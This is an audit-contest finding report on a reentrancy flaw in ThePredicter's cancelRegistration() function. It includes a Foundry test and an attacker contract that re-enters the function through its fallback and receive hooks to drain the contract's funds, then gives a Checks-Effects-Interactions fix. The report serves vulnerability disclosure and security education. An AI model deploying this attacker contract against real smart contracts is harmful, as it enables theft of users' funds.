First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrency in `ThePredicter::cancelRegistration()`

cass

Description:

Reentrancy is a vulnerability in smart contracts where an attacker is able to repeatedly call and re-enter a function within a vulnerable contract, altering the vulnerable contracts state or draining its funds. This vulnerability was found within ThePredicter::cancelRegistration() function where post registration and prior to being approved as a player, a user is able to maliciously re-enter the function.

Impact:

In this case, being able to re-enter ThePredicter::cancelRegistration() allows a malicious user to drain smart contract funds.

Tooling:

In this case, reentrancy can be detected using static code analysis tools such as Slither. It is always recommended to supplement the automated tool analysis with a manual code review as it is not guaranteed that more complex instances of this vulnerability will be automatically detected.

Proof of Concept:

The following test function & Attacker contract can be added to ThePredicter.test.sol to show reentrancy present in ThePredicter::cancelRegistration(). Use command forge test --match-path test/ThePredicter.test.sol --mt test_reentrancy -vvv to run the test.

function test_reentrancy() public {
uint256 entranceFee = 0.04 ether;
address[] memory users = new address[](3);
users[0] = address(1);
users[1] = address(2);
users[2] = address(3);
​
for(uint256 i; i < users.length; ++i){
vm.deal(users[i], 1 ether);
vm.prank(users[i]);
thePredicter.register{value: entranceFee}();
}
​
ReentrancyAttacker attackerContract = new ReentrancyAttacker(thePredicter);
address attacker = makeAddr("attacker");
vm.deal(attacker, 1 ether);
​
uint256 startBalanceAttacker = address(attackerContract).balance;
uint256 startBalanceVictim = address(thePredicter).balance;
​
console.log("Starting attacker contract balance:", startBalanceAttacker);
console.log("Starting victim contract balance:", startBalanceVictim);
​
vm.prank(attacker);
attackerContract.attack{value: entranceFee}();
console.log("Ending attacker contract balance:", address(attackerContract).balance);
console.log("Ending victim contract balance:", address(thePredicter).balance);
vm.stopPrank();
​
assertFalse(address(thePredicter).balance == uint256(users.length * entranceFee), "The predicter contract balance does not equal the entrance fees deposited by users.");
}
​
contract ReentrancyAttacker {
ThePredicter victim;
uint256 entranceFee = 0.04 ether;
​
constructor(ThePredicter _theVictim){
victim = _theVictim;
}
​
function attack() public payable {
victim.register{value: entranceFee}();
victim.cancelRegistration();
}
​
function _maliciousReenter() public payable {
if(address(victim).balance >= entranceFee) {
victim.cancelRegistration();
}
}
​
fallback() external payable {
_maliciousReenter();
}
​
receive() external payable {
_maliciousReenter();
}
}

Remediation:

It is recommended to structure code following CEI (Checks - Effects - Interactions). Here, this means rearranging the code in ThePredicter.sol::cancelRegistration() as follows:

if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.